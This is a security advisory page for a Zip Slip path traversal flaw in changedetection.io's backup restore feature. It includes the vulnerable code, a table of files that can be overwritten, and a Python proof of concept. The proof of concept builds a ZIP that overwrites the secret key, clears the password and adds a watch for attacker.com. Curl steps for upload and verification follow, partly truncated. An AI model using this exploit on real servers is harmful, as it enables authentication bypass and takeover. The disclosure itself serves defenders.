changedetection.io has Zip Slip vulnerability in the backup restore functionality
Summary
A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.
Details
A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory.
Vulnerable Code (lines 50-53):
def restore_backup(self, filename):
with zipfile.ZipFile(filename, 'r') as zip_ref:
# VULNERABLE: No path validation before extraction
zip_ref.extractall(self.datastore_path)
The extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory.
| Path in ZIP | Target File | Impact |
|---|---|---|
| ../secret.txt | Flask secret key | Session forgery, auth bypass |
| ../changedetection.json | App settings | Disable password, inject backdoor |
| ../url-watches.json | Watch index | Inject malicious watches |
| ../{uuid}/watch.json | Watch config | Modify any watch |
Attacker uploads ZIP via the backup restore functionality at /backups/restore Application extracts files without validation, writing attacker content to sensitive locations
PoC
Step 1: Create Malicious ZIP
import zipfile
import json
with zipfile.ZipFile("zipslip.zip", "w") as zf:
# Escape extraction directory with ../
zf.writestr("../secret.txt", "ATTACKER-CONTROLLED-SECRET")
zf.writestr("../changedetection.json", json.dumps({
"settings": {"application": {"password": ""}}
}))
zf.writestr("../pwned-uuid-1234/watch.json", json.dumps({
"url": "https://attacker.com/zipslip-pwned",
"title": "🔴 ZIPSLIP-PROOF"
}))
Step 2: Upload via Restore Endpoint
-F "zip_file=@zipslip.zip" \
-F "include_watches=y" \
-F "include_settings=y"
###Step 3: Verify Path Traversal
Check if watch escaped to /datastore/
###ls -la /datastore/
Look for: pwned-uuid-1234/
Verify in UI
curl "http://target:5000/" | grep "ZIPSLIP"
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | changedetection-io | < 0.54.4 | 0.54.4 |
References
- https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.4
- https://github.com/dgtlmoon/changedetection.io/commit/1d7d812eb0faab37042246e2fbce04f29bb1b3aa
- https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-25g8-2mcf-fcx9
- https://nvd.nist.gov/vuln/detail/CVE-2026-29065
- https://github.com/dgtlmoon/changedetection.io
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P- Weakness (CWE)
CWE-22- Platform
- Python (PyPI)
- Package
changedetection-io- Disclosed
- 04.03.2026
- Updated
- 11.10.2026 14:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-2129 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-25g8-2mcf-fcx9 - CC BY 4.0
Vulnerability history: changedetection-io
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 20
- First → latest
- 02.2023 05.2026
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- Critical 2
- High 9
- Medium 6
- Low 2
- Unrated 1
Disclosures per year
- 2023: 1
- 2024: 6
- 2025: 2
- 2026: 11
-
changedetection.io has Zip Slip vulnerability in the backup restore functionality this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.